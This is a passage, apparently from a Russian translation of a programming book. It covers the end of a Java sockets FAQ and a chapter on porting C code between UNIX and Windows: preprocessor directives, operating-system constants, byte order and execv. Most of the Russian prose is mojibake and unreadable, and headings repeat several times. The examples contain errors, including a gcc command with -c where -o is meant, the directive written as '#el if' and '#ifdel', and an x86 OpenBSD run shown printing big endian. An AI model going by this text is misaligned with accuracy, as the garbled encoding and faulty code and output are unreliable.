à åäèíñòâåííûé ýêçåìïëÿð êëàññà DatagramSocket ïðèìåíÿåòñÿ è äëÿ îò-
ïðàâêè, è äëÿ ïðèåìà ïàêåòîâ, ïðåäñòàâëåííûõ êëàññîì DatagramPacket.

� Äëÿ ñåðâåðíûõ UDP-ñîêåòîâ îáúåêò êëàññà DatagramSocket ïðèâÿçûâà-
åòñÿ ê ïîðòó òàê æå, êàê ýòî äåëàåòñÿ äëÿ îáúåêòîâ êëàññà ServerSocket.
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Часто задаваемые вопросы
Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåí-
íûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå
çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çà-
ïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðó-
ãèõ FAQîâ íà ñàéòå ITFAQnet.com.

Â:Â:Â:Â:Â: Åñòü ëè ó èñïîëüçîâàíèÿ Java ïðåèìóùåñòâà ïî ñðàâíåíèþ ñ ÿçûêàìè
C/C++?

Î:Î:Î:Î:Î: Îñíîâíîå ïðåèìóùåñòâî â òîì, ÷òî API ñîêåòîâ íà ÿçûêå Java ïåðåíî-
ñèì ìåæäó ðàçëè÷íûìè ïëàòôîðìàìè. Êðîìå òîãî, èì ëåãêî ïîëüçîâàòüñÿ,
â íåì åñòü áîãàòûé íàáîð âûñîêîóðîâíåâûõ îïåðàöèé, â ÷àñòíîñòè, äëÿ îò-
ïðàâêè HTTP-çàïðîñîâ è èñêëþ÷åíà âîçìîæíîñòü ïåðåïîëíåíèÿ áóôåðà èëè
çàòèðàíèÿ ïàìÿòè.

Â:Â:Â:Â:Â: Ïîçâîëÿåò ëè API ñîêåòîâ â Java ðàáîòàòü ñ ïðîñòûìè (raw) ñîêåòàìè? 
Î:Î:Î:Î:Î: Â ñòàíäàðòíîé áèáëèîòåêå íåò êëàññîâ äëÿ ðàáîòû ñ ïðîñòûìè ñîêåòàìè.

Íî èõ ìîæíî ðåàëèçîâàòü ñàìîñòîÿòåëüíî ñ ïîìîùüþ ìàøèííî-çàâèñèìî-
ãî èíòåðôåéñà Java (Java Native Interface – JNI), êîòîðûé ïîçâîëÿåò âêëþ÷àòü
â Java-ïðîãðàììó ôðàãìåíòû, íàïèñàííûå íà äðóãèõ ÿçûêàõ. Ñðåäñòâà äëÿ ðà-
áîòû ñ ïðîñòûìè ñîêåòàìè ìîæíî ðàçðàáîòàòü íà ÿçûêå C èëè C++, à çàòåì
«îáåðíóòü» â Java-êëàññ.

Прекрасным справочным пособием по использованию интерфейса
JNI может служить книга Sheng Liang «Java Native Interface: Program�
mer’s Guide and Specification», Addison Wesley.

Â:Â:Â:Â:Â: Ñóùåñòâóåò ëè â Java Sockets API ïðîñòîé ñïîñîá îáìåíèâàòüñÿ äàííûìè
ïî ïðîòîêîëó HTTPS (HTTP ïîâåðõ SSL)?

Î:Î:Î:Î:Î: Íà÷èíàÿ ñ âåðñèè Java 1.4, êëàññ URLConnection ïîääåðæèâàåò øèôðîâà-
íèå ïî ïðîòîêîëó SSL. Äîñòàòî÷íî äîáàâèòü ê íóæíîìó URL ïðåôèêñ https://,
è çàïðîñ áóäåò øèôðîâàòüñÿ. Êðîìå òîãî, ïàêåò javax.net.ssl.* ïîçâîëÿåò âðó÷-
íóþ çàøèôðîâàòü ëþáîé çàïðîñ ïî ïðîòîêîëó SSL íà óðîâíå ñîêåòîâ.

Â:Â:Â:Â:Â: Ãäå åùå ìîæíî ïî÷èòàòü î ïðîãðàììèðîâàíèè ñîêåòîâ íà ÿçûêå Java?
Î:Î:Î:Î:Î: Î÷åíü ìíîãî èíôîðìàöèè î ñðåäå èñïîëíåíèÿ Java è ðàçëè÷íûõ API

ïðåäñòàâëåíî íà ñàéòå http://java.sun.com.

Часто задаваемые вопросы
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Дополнительно мы можем порекомендовать книги Tom Lindholm, Frank
Yellin «The Java Virtual Machine Specification», Addison Wesley и Ken Ar�
nold, James Gosling «The Java Programming Language», Addison Wesley.

Â:Â:Â:Â:Â: Ðàç ÿçûêè C è C++ ïëàòôîðìåííî-çàâèñèìû, òî âûõîäèò, ÷òî âåñü êîä
ïðèäåòñÿ ïèñàòü çàíîâî äëÿ êàæäîé íîâîé ïëàòôîðìû?

Î:Î:Î:Î:Î: Ìíîãèå ÷àñòè ïðîãðàìì, íàïèñàííûõ íà C èëè C++, íå íóæíî ìîäèôè-
öèðîâàòü ïðè ïåðåíîñå íà äðóãóþ ïëàòôîðìó. Êîä, ðåàëèçóþùèé âíóòðåí-
íþþ ëîãèêó ïðîãðàììû, îáû÷íî ðàáîòàåò íà ëþáîé ïëàòôîðìå – íóæíî
òîëüêî çàíîâî îòêîìïèëèðîâàòü åãî. Ìîäèôèêàöèè æå ïîäëåæèò êîä, â êî-
òîðîì âûïîëíÿþòñÿ ñèñòåìíûå âûçîâû èëè íèçêîóðîâíåâûå îáðàùåíèÿ
ê àïïàðàòóðå.

Â:Â:Â:Â:Â: Ñ ÷åãî íà÷àòü íàïèñàíèå ñîáñòâåííîãî èíòåðïðåòèðóåìîãî ÿçûêà?     
Î:Î:Î:Î:Î: Íà ýòîò âîïðîñ íåò ïðîñòîãî îòâåòà. Â íàñòîÿùåå âðåìÿ Java øèðîêî

ïðèìåíÿåòñÿ äëÿ áûñòðîãî ñîçäàíèÿ èíòåðïðåòàòîðîâ â ïðèëîæåíèÿõ, ãäå
íóæåí ñîáñòâåííûé ÿçûê ñöåíàðèåâ. ßñíî, ÷òî äëÿ ýòîé öåëè ïîäîéäåò è ëþ-
áîé äðóãîé ñòðóêòóðèðîâàííûé ÿçûê ïðîãðàììèðîâàíèÿ, åñòü äàæå èíòåð-
ïðåòàòîðû, íàïèñàííûå íà ÿçûêàõ ñöåíàðèåâ. Âïðî÷åì, ïðèíèìàÿ âî âíèìà-
íèå ÷èñëî ñëîåâ ïðîãðàììíîãî îáåñïå÷åíèÿ, ýòî íå î÷åíü óäà÷íîå ðåøåíèå.
Ïðåäïîëîæèì, êòî-íèáóäü çàõî÷åò ñîçäàòü ÿçûê ñöåíàðèåâ íà Perl. Òîãäà ëþ-
áîé ñöåíàðèé íà ýòîì ÿçûêå áóäåò èñïîëíÿòüñÿ åãî èíòåðïðåòàòîðîì, êîòî-
ðûé â ñâîþ î÷åðåäü áóäåò èñïîëíÿòüñÿ èíòåðïðåòàòîðîì Perl. Êîíå÷íî æå,
ýòî íåýôôåêòèâíî. Ïîëàãàåì, ÷òî ëó÷øå âñåãî íà÷àòü ñ ïîèñêà â Ñåòè (íàïðè-
ìåð, ñ ïîìîùüþ Google). Åñëè âàì áîëüøå íðàâèòñÿ óñâàèâàòü èíôîðìàöèþ èç
ïå÷àòíûõ èñòî÷íèêîâ, òî ìîæåì ïîðåêîìåíäîâàòü êíèãó Ronald L. Mak
«Writing Ñompilers and Interpreters».
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См. также главу 7

� Резюме
� Обзор изложенного материала
� Часто задаваемые вопросы
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Введение
Â ýòîé ãëàâå ìû ðàññìîòðèì ðàçíîîáðàçíûå ïðèåìû, ïðèìåíÿåìûå äëÿ ñî-
çäàíèÿ ïðèëîæåíèé, êîòîðûå êîìïèëèðóþòñÿ è èñïîëíÿþòñÿ â ðàçíûõ îïå-
ðàöèîííûõ ñèñòåìàõ.

Ïåðâûì øàãîì ïðè íàïèñàíèè ïðîãðàììû, êîòîðàÿ äîëæíà ðàáîòàòü â ðàç-
íûõ ñèñòåìàõ è ðåøàòü, êàêóþ ôóíêöèþ âûçûâàòü â êîíêðåòíîì ñëó÷àå (èëè
äàæå êàêèå ïàðàìåòðû ïåðåäàâàòü îäíîé ôóíêöèè â çàâèñèìîñòè îò ïëàò-
ôîðìû), – îïðåäåëèòü, íà êàêîé æå ïëàòôîðìå îíà ñåé÷àñ êîìïèëèðóåòñÿ.
Ìû îáñóäèì è íåêîòîðûå áîëåå èíòåðåñíûå ìåòîäû èäåíòèôèêàöèè îïåðà-
öèîííîé ñèñòåìû, ïîçâîëÿþùèå çàòåì âûáðàòü íóæíûé ïóòü èñïîëíåíèÿ
ïðîãðàììû.

Äàëåå ðàññìàòðèâàþòñÿ âîïðîñû ñîçäàíèÿ ïðîöåññîâ è óïðàâëåíèÿ èìè: ñèñ-
òåìíûé âûçîâ fork â UNIX è åãî àíàëîã â Windows. Ìû îñòàíîâèìñÿ òàêæå íà
ìåòîäàõ ðàáîòû ñ ôàéëàìè è êàòàëîãàìè è çàãðóçêå äèíàìè÷åñêèõ áèáëèîòåê.

Рекомендации по переносу
программ между платформами
UNIX и Microsoft Windows
Â ýòîì ðàçäåëå ìû ðàññìîòðèì ðÿä èíòåðôåéñîâ ïðèêëàäíîãî ïðîãðàììè-
ðîâàíèÿ (API), èìåþùèõñÿ â ñèñòåìå UNIX, è ïîãîâîðèì î òîì, êàê ïåðå-
íåñòè èõ íà ïëàòôîðìó Windows. Óïîð äåëàåòñÿ íà ïðîöåäóðå ïåðåíîñà API,
à íå íà èñ÷åðïûâàþùåì äîêóìåíòèðîâàíèè ýêâèâàëåíòíûõ API íà îáåèõ
ïëàòôîðìàõ. Ïðåäïî÷òåíèå îòäàåòñÿ ñîâìåñòèìûì, à íå ïëàòôîðìåííî-çà-
âèñèìûì API. Íàø âûáîð ðàññìàòðèâàåìûõ API ïðîäèêòîâàí èõ ïðèìåíè-
ìîñòüþ ê ðàçðàáîòêå è ïåðåíîñó ñåòåâûõ ïðîãðàìì è ñðåäñòâ îáåñïå÷åíèÿ
áåçîïàñíîñòè.

Примечание

Все примеры в этой главе были написаны и откомпилированы на
платформе OpenBSD 3.2 / x86 с помощью компилятора GNU C
версии 2.95.3 и оболочки tcsh версии 6.12.00, а также Microsoft
Windows XP и Microsoft Visual Studio.NET 2002.
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Ìû ðàññìîòðèì ñëåäóþùèå âîïðîñû: ñîçäàíèå è çàâåðøåíèå ïðîöåñ-
ñîâ, ìíîãîïîòî÷íîñòü, ñèãíàëû, ðàáîòà ñ ôàéëàìè è êàòàëîãàìè, BSD-ñîêå-
òû, ïåðåõâàò ïàêåòîâ (packet capture – pcap), îáðàáîòêà îøèáîê, äèíàìè-
÷åñêàÿ çàãðóçêà áèáëèîòåê, ïðîãðàììèðîâàíèå ïðîãðàìì-äåìîíîâ (UNIX)
è Win32-ñåðâèñîâ (Windows), óïðàâëåíèå ïàìÿòüþ, îáðàáîòêà àðãóìåíòîâ,
çàäàííûõ â êîìàíäíîé ñòðîêå, öåëî÷èñëåííûå òèïû äàííûõ è óñëîâíàÿ
êîìïèëÿöèÿ.

Директивы препроцессора

Îäíî èç ñàìûõ ïîëåçíûõ ñðåäñòâ äëÿ ðàçðàáîòêè êðîññ-ïëàòôîðìåííûõ ïðè-
ëîæåíèé íà ÿçûêàõ C è C++ – ýòî ñåìåéñòâî äèðåêòèâ ïðåïðîöåññîðà ifdef.
Ñ èõ ïîìîùüþ ìîæíî íàïèñàòü èñõîäíûé òåêñò òàê, ÷òî îí áóäåò ïî-ðàçíîìó
êîìïèëèðîâàòüñÿ íà ðàçëè÷íûõ ïëàòôîðìàõ.

Òàêàÿ âîçìîæíîñòü ïîëåçíà, òàê êàê API, çàãîëîâî÷íûå ôàéëû è ñòðóêòó-
ðû äàííûõ íà ðàçíûõ ïëàòôîðìàõ íåñîâìåñòèìû. Ïðèìåíÿÿ æå äèðåêòèâó
ifdef, ìîæíî âûáðàòü òîò ôðàãìåíò ïðîãðàììû, êîòîðûé áóäåò ïðàâèëüíî
êîìïèëèðîâàòüñÿ íà äàííîé ïëàòôîðìå.

Использование директив #ifdef

Äèðåêòèâû ïðåïðîöåññîðà ñåìåéñòâà ifdef î÷åíü ïîõîæè íà èíñòðóêöèþ if-else â
ÿçûêå C, íî îáðàáàòûâàþòñÿ äî íà÷àëà êîìïèëÿöèè êîäà. Ê ýòèì äèðåêòèâàì
îòíîñÿòñÿ:

� #define <èìÿ> <çíà÷åíèå>;
� #undef <èìÿ>;
� #if <èìÿ> [==<çíà÷åíèå>];
� #ifdef <çíà÷åíèå>;
� #ifndef <çíà÷åíèå>;
� #else;
� #el if;
� #endif.

Äèðåêòèâà #define ñëóæèò äëÿ îïðåäåëåíèÿ èìåíè, íàïðèìåð:

#define NAME <çíà÷åíèå>
#define EXAMPLE 1234

Äèðåêòèâà #undef ñëóæèò äëÿ îòìåíû ðàíåå îïðåäåëåííîãî èìåíè:

#undef EXAMPLE

Рекомендации по переносу программ между платформами UNIX и Microsoft Windows
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Äèðåêòèâà #if ïîçâîëÿåò óçíàòü, áûëî ëè ðàíåå îïðåäåëåíî íåêîòîðîå èìÿ
è ðàâíî ëè åãî çíà÷åíèå íóëþ, à òàêæå ñðàâíèòü äâà çíà÷åíèÿ. Êàæäîé äèðåê-
òèâå #if äîëæíà ñîîòâåòñòâîâàòü çàâåðøàþùàÿ äèðåêòèâà #endif.

#define EXAMPLE 1234

#if EXAMPLE
    printf("EXAMPLE îïðåäåëåíî.\n");
#endif  // òðåáóåòñÿ äëÿ çàâåðøåíèÿ #if

À âîò òàê äèðåêòèâà #if ïðèìåíÿåòñÿ äëÿ ñðàâíåíèÿ çíà÷åíèé:

#define EXAMPLE 0
#if EXAMPLE == 1234
    printf("EXAMPLE ðàâíî 1234!\n");
#endif

Â ïðåäûäóùåì ïðèìåðå íè÷åãî íå áóäåò íàïå÷àòàíî, òàê êàê çíà÷åíèå
EXAMPLE ðàâíî íóëþ, à íå 1234.

#define EXAMPLE 1
#if EXAMPLE
    printf("EXAMPLE îïðåäåëåíî.\n");
#endif

À â ýòîì ïðèìåðå âû÷èñëåíèå äèðåêòèâû #if äàåò TRUE, òàê êàê èìÿ
EXAMPLE îïðåäåëåíî è èìååò íåíóëåâîå çíà÷åíèå. Ïîýòîìó áóäåò íàïå÷àòà-
íà ñòðîêà EXAMPLE îïðåäåëåíî.\n.

Äèðåêòèâà #ifdef ïîçâîëÿåò óçíàòü, áûëî ëè îïðåäåëåíî íåêîòîðîå èìÿ. Åé
òàêæå äîëæíà ñîïóòñòâîâàòü çàâåðøàþùàÿ äèðåêòèâà #endif.

#ifdef EXAMPLE
    printf("EXAMPLE îïðåäåëåíî.\n");
#endif

Äèðåêòèâà #ifndef ïîçâîëÿåò âûÿñíèòü, ÷òî äàííîå èìÿ íå áûëî îïðåäåëå-
íî. Åé äîëæíà ñîîòâåòñòâîâàòü çàâåðøàþùàÿ äèðåêòèâà #endif.

#ifndef EXAMPLE
    printf("EXAMPLE íå îïðåäåëåíî.\n");
#endif

Äèðåêòèâà #else ïðèìåíÿåòñÿ â ñî÷åòàíèè ñ #ifdef èëè #ifndef. Åñëè ïðè âû-
÷èñëåíèè #ifdef èëè #ifndef ïîëó÷àåòñÿ FALSE, òî êîìïèëèðóþòñÿ èíñòðóêöèè,
ñëåäóþùèå çà äèðåêòèâîé #else.

#ifdef EXAMPLE
    printf("EXAMPLE îïðåäåëåíî.\n");
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#else
    printf("EXAMPLE ÍÅ îïðåäåëåíî.\n");
#endif

Äèðåêòèâà #el if ïðèìåíÿåòñÿ â ñî÷åòàíèè ñ #if, #ifdef èëè #ifndef, êîãäà íóæíî
ïðîâåðèòü íåñêîëüêî óñëîâèé.

#ifdef EXAMPLE_NUM1
    printf("EXAMPLE_NUM1 îïðåäåëåíî.\n");
#elif  EXAMPLE_NUM2
    printf("EXAMPLE_NUM2 îïðåäåëåíî.\n");
#elif  EXAMPLE_NUM3
    printf("EXAMPLE_NUM3 îïðåäåëåíî.\n");
#endif

Определение операционной системы

Â áîëüøèíñòâå êîìïèëÿòîðîâ èëè ñðåä ðàçðàáîòêè çàäàíû êîíñòàíòû, êîòî-
ðûå ïîçâîëÿþò îïðåäåëèòü, íà êàêîé ïëàòôîðìå êîä êîìïèëèðóåòñÿ. Â òàáëè-
öå 6.1 ïåðå÷èñëåíû òàêèå êîíñòàíòû äëÿ íåêîòîðûõ íàèáîëåå ðàñïðîñòðàíåí-
íûõ ïëàòôîðì.

Таблица 6.1. Константы, определяющие операционную систему

Операционная система Константа

Microsoft Windows WIN32
OpenBSD _OpenBSD_
FreeBSD _FreeBSD_
NetBSD _NetBSD_
Apple MacOS X _APPLE_
Linux __linux
Solaris SOLARIS

Â ïðèìåðå 6.1 ïðîäåìîíñòðèðîâàíî èñïîëüçîâàíèå äèðåêòèâ ïðåïðîöåñ-
ñîðà ñåìåéñòâà ifdef è îïðåäåëÿåìûõ êîíñòàíò äëÿ óñëîâíîé êîìïèëÿöèè ôàéëà
ifdef1.c íà ïëàòôîðìàõ OpenBSD è Microsoft Windows.

Пример 6.1.Пример 6.1.Пример 6.1.Пример 6.1.Пример 6.1. Пример использования диррективы #ifdel
1 /*

2  * ifdef1.c

3  *

4  * Ïðèìåð ïðîãðàììû ifdef.

5  */

6
7 #include <stdio.h>

8

Рекомендации по переносу программ между платформами UNIX и Microsoft Windows
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 9 int

10 main(void)

11 {

12 #ifdef __OpenBSD__

13 /* ïå÷àòàåòñÿ, åñëè êîìïèëèðóåòñÿ íà ïëàòôîðìå OpenBSD */

14 printf("OpenBSD\n");

15 #elif WIN32

16 /* ïå÷àòàåòñÿ, åñëè êîìïèëèðóåòñÿ íà ïëàòôîðìå Win32 */

17 printf("WIN32\n"  );

18 #else

19 printf("?\n");

20 #endif

21
22 return(0);

23 }

Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Ïîñìîòðèì, ÷òî ïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà íà ðàçíûõ
ïëàòôîðìàõ.

Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32
C:\>ifdef1.exe
WIN32

Ïðè ðàáîòå íà ïëàòôîðìå OpenBSDÏðè ðàáîòå íà ïëàòôîðìå OpenBSDÏðè ðàáîòå íà ïëàòôîðìå OpenBSDÏðè ðàáîòå íà ïëàòôîðìå OpenBSDÏðè ðàáîòå íà ïëàòôîðìå OpenBSD
obsd32# gcc -c ifdef1 ifdef1.c
obsd32# ./ifdef1
OpenBSD

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 12 äèðåêòèâà ïðåïðîöåññîðà #ifdef ïðèìåíÿåòñÿ äëÿ òîãî, ÷òî-

áû îïðåäåëèòü, êîìïèëèðóåòñÿ ëè ïðîãðàììà â îïåðàöèîííîé ñèñòåìå
OpenBSD. Åñëè ýòî òàê, òî áóäåò ñêîìïèëèðîâàí êîä â ñòðîêå 14, íî íåíåíåíåíå
â ñòðîêå 17.

� Â ñòðîêå 15 äèðåêòèâà ïðåïðîöåññîðà #ifdef ïðèìåíÿåòñÿ äëÿ òîãî, ÷òîáû
îïðåäåëèòü, êîìïèëèðóåòñÿ ëè ïðîãðàììà íà ïëàòôîðìå Win32. Åñëè
ýòî òàê, òî áóäåò ñêîìïèëèðîâàí êîä â ñòðîêå 17, íî íåíåíåíåíå â ñòðîêå 14.

� Â ñòðîêàõ 14 è 17 âûçûâàåòñÿ ôóíêöèÿ printf(), êîòîðàÿ ïå÷àòàåò ëèáî
OpenBSD, ëèáî Win32 â çàâèñèìîñòè îò òîãî, íà êàêîé ïëàòôîðìå êîä
êîìïèëèðóåòñÿ.

� Â ñòðîêå 18 äèðåêòèâà ïðåïðîöåññîðà #else ïðèìåíÿåòñÿ äëÿ êîìïèëÿ-
öèè êîäà, èñïîëíÿåìîãî, åñëè ïëàòôîðìà îòëè÷àåòñÿ è îò OpenBSD, è îò
Win32.
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Порядок байтов

Ìíîãèå âàðèàíòû ñèñòåìû UNIX è ñòàðûå âåðñèè Microsoft Windows NT ïîä-
äåðæèâàþò ðàçëè÷íûå àðõèòåêòóðû ïðîöåññîðîâ. Â íåêîòîðûõ èç íèõ îòäåëü-
íûå áàéòû öåëûõ ÷èñåë õðàíÿòñÿ â ðàçíîì ïîðÿäêå. ×àùå âñåãî âñòðå÷àþòñÿ
óïîðÿäî÷åíèÿ l ittle endian («îñòðîêîíå÷íûé») è big endian («òóïîêîíå÷íûé»)
(ñì. ïðèìåð 6.2). Â ïðîöåññîðàõ ñåìåéñòâà Intel x86 ïðèìåíÿåòñÿ ïîðÿäîê  l ittle
endian, òîãäà êàê â áîëüøèíñòâå ïðîöåññîðîâ, íà êîòîðûõ ðàáîòàåò UNIX,
â ÷àñòíîñòè, SPARC (Scalable Processor Architecture), MIPS, PA-RISC (Precision
Architecture Reduced Instruction Set Computing), – ïîðÿäîê big endian.

Â ñèñòåìàõ UNIX îáû÷íî èìååòñÿ çàãîëîâî÷íûé ôàéë endian.h, â êîòîðîì
îïðåäåëåíû êîíñòàíòû BYTE_ORDER, LITTLE_ENDIAN è BIG_ENDIAN, ïî-
çâîëÿþùèå óçíàòü ïîðÿäîê áàéòîâ âî âðåìÿ êîìïèëÿöèè. Îíè èñïîëüçóþò-
ñÿ â ñî÷åòàíèè ñ äèðåêòèâîé ïðåïðîöåññîðà #if, êàê ïîêàçàíî â ñëåäóþùåì
ïðèìåðå.

Пример 6.2. Пример 6.2. Пример 6.2. Пример 6.2. Пример 6.2. Проверка порядка байтов (byteorder1.c)
 1 /*

 2  * byteorder1.c

 3  *

 4  *

 5  */

 6
 7 #include <sys/endian.h>

 8 #include <stdio.h>

 9
10 int

11 main(void)

12 {

13 #if BYTE_ORDER == LITTLE_ENDIAN

14
15     printf("Èñïîëüçóåòñÿ ïîðÿäîê little endian!\n");

16
17 #elif BYTE_ORDER == BIG_ENDIAN

18
19     printf("Èñïîëüçóåòñÿ ïîðÿäîê big endian!\n");

20
21 #else

22
23     printf("ïîðÿäîê áàéòîâ íåèçâåñòåí?\n");

24
25 #endif

26
27     return(0);

28 }
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Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Ïîñìîòðèì, ÷òî ïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà íà ðàçíûõ
ïëàòôîðìàõ.

Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32Ïðè ðàáîòå íà ïëàòôîðìå Win32
C:\>byteorder1.exe
Èñïîëüçóåòñÿ ïîðÿäîê little endian!

Ïðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIXÏðè ðàáîòå íà ïëàòôîðìå UNIX
obsd32# gcc -c byteorder1 byteorder1.c
obsd32# ./ byteorder1
Èñïîëüçóåòñÿ ïîðÿäîê big endian!

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêå 13 äèðåêòèâà ïðåïðîöåññîðà #if ïðèìåíÿåòñÿ äëÿ òîãî, ÷òîáû

îïðåäåëèòü, ðàâíà ëè ðàíåå îïðåäåëåííàÿ êîíñòàíòà BYTE_ORDER çíà-
÷åíèþ êîíñòàíòû LITTLE_ENDIAN. Åñëè ýòî òàê, òî êîìïèëèðóåòñÿ
êîä â ñòðîêå 15 – âûçîâ ôóíêöèè printf(), êîòîðàÿ ïå÷àòàåò ñòðîêó Èñ-
ïîëüçóåòñÿ ïîðÿäîê l ittle endian!.

� Â ñòðîêå 17 äèðåêòèâà ïðåïðîöåññîðà #if ïðèìåíÿåòñÿ äëÿ òîãî, ÷òîáû
îïðåäåëèòü, ðàâíà ëè ðàíåå îïðåäåëåííàÿ êîíñòàíòà BYTE_ORDER çíà-
÷åíèþ êîíñòàíòû BIG_ENDIAN. Åñëè ýòî òàê, òî êîìïèëèðóåòñÿ êîä
â ñòðîêå 19 – âûçîâ ôóíêöèè printf(), êîòîðàÿ ïå÷àòàåò ñòðîêó Èñïîëüçó-
åòñÿ ïîðÿäîê big endian!.

� Â ñòðîêå 21 äèðåêòèâà ïðåïðîöåññîðà #else ïðèìåíÿåòñÿ äëÿ òîãî, ÷òîáû
îòêîìïèëèðîâàòü êîä â ñëó÷àå, êîãäà çíà÷åíèå êîíñòàíòû BYTE_ORDER
íå ñîâïàäàåò íè ñ LITTLE_ENDIAN, íè ñ BIG_ENDIAN.

Íà ïëàòôîðìå Microsoft Windows íåò íè çàãîëîâî÷íîãî ôàéëà endian.h, íè
êîíñòàíòû BYTE_ORDER. Îáû÷íî ïðîãðàììèñòû ïðåäïîëàãàþò, ÷òî èñ-
ïîëüçóåòñÿ ïîðÿäîê  l ittle endian (îïåðàöèîííàÿ ñèñòåìà Windows ðàáîòàåò
ãëàâíûì îáðàçîì íà ïðîöåññîðàõ Intel x86 ñ òàêèì ïîðÿäêîì áàéòîâ).

Â ïðèìåðå 6.3 ïîêàçàíî, êàê îïðåäåëèòü êîíñòàíòó BYTE_ORDER è ñâÿçàí-
íûå ñ íåé â ïðåäïîëîæåíèè, ÷òî ïîðÿäîê áàéòîâ íà ïëàòôîðìå Windows
l ittle endian.

Пример 6.3. Пример 6.3. Пример 6.3. Пример 6.3. Пример 6.3. Задание порядка байтов на платформе Win32 (byteorder2.c)
1 /*

2  * byteorder2.c

3  *

4  *

5  */

6
7 #include <stdio.h>
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 8
 9 int

10 main(void)
11 {

12 // åñëè WIN32, ñ÷èòàåì, ÷òî ïîðÿäîê áàéòîâ little endian
13 #ifdef WIN32

14 #define LITTLE_ENDIAN 1234
15 #define BYTE_ORDER LITTLE_ENDIAN
16 #endif
17   return(0);

18 }

Êîìïèëÿòîð Microsoft Visual C++ îïðåäåëÿåò ïÿòü ìàêðîñîâ, ñ ïîìîùüþ
êîòîðûõ ìîæíî èäåíòèôèöèðîâàòü àïïàðàòíóþ ïëàòôîðìó âî âðåìÿ êîì-
ïèëÿöèè:

_M_IX86x86
_M_ALPHA DEC Alpha
_M_MMPC Power Macintosh PowerPC
_M_MRX000 MIPS RX000
_M_PPC PowerPC

Íà îñíîâå ýòèõ ìàêðîñîâ ìîæíî îïðåäåëèòü òàêæå è ïîðÿäîê áàéòîâ âî
âðåìÿ êîìïèëÿöèè.

Создание и завершение процессов

Ìîäåëè ïðîöåññîâ â ñèñòåìàõ UNIX è Windows ñèëüíî ðàçëè÷àþòñÿ. Â UNIX
äëÿ ñîçäàíèÿ íîâîãî ïðîöåññà îáû÷íî ïðèìåíÿåòñÿ äâóõøàãîâàÿ ïðîöåäóðà.
Ñíà÷àëà âûïîëíÿåòñÿ ñèñòåìíûé âûçîâ fork, ñîçäàþùèé ïî÷òè ïîëíóþ êî-
ïèþ âûçûâàþùåãî ïðîöåññà, òîëüêî ñ äðóãèì èäåíòèôèêàòîðîì, à çàòåì
ñ ïîìîùüþ ñèñòåìíîãî âûçîâà exec âíîâü ñîçäàííûé ïðîöåññ ïîäìåíÿåòñÿ îá-
ðàçîì èç èñïîëíÿåìîãî ôàéëà.

Íà ïëàòôîðìå æå Windows ñîçäàíèå íîâîãî ïðîöåññà è çàãðóçêà èñïîëíÿå-
ìîãî îáðàçà âûïîëíÿþòñÿ çà îäèí øàã ñ ïîìîùüþ ôóíêöèè CreateProcess.
Ê ñ÷àñòüþ, Win32 API îáåñïå÷èâàåò ïðèåìëåìóþ ñîâìåñòèìîñòü ñ ïðîöåäó-
ðîé ñîçäàíèÿ ïðîöåññà â UNIX, òàê êàê ïîääåðæèâàåòñÿ îïðåäåëåííîå â ñòàí-
äàðòå POSIX (Portable Operating System Interface – ïåðåíîñèìûé èíòåðôåéñ
ñ îïåðàöèîííîé ñèñòåìîé) ñåìåéñòâî ôóíêöèé exec; îäíàêî ñèñòåìíûé âû-
çîâ fork íå ïîääåðæèâàåòñÿ.

Системный вызов exec
Â ïðèìåðå 6.4 äåìîíñòðèðóåòñÿ ïðèìåíåíèå ôóíêöèè execv äëÿ ñîçäàíèÿ íî-
âîãî ïðîöåññà, êîòîðûé çàòåì çàãðóæàåò âìåñòî ñåáÿ îáðàç ïàìÿòè èç äðóãî-
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ãî èñïîëíÿåìîãî ôàéëà. Ïðîãðàììà exec.exe âûçûâàåò ôóíêöèþ execv, êîòî-
ðàÿ çàãðóæàåò îáðàç èç ôàéëà execed.exe.

Пример 6.4.Пример 6.4.Пример 6.4.Пример 6.4.Пример 6.4. Программа, исполняемая в результате вызова функции execv()
(execed.c)
 1 /*

 2  * execed.c

 3  *

 4  *

 5  */

 6
 7 #include <stdio.h>

 8
 9 void

10 main(void)

11 {

12   printf("exec'd!\r\n");

13 }

Ïðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿÏðèìåð èñïîëíåíèÿ
Âîò ÷òî íàïå÷àòàåò ýòà ïðîãðàììà, áóäó÷è îòêîìïèëèðîâàíà è çàïóùåíà íà
ïëàòôîðìå Win32.

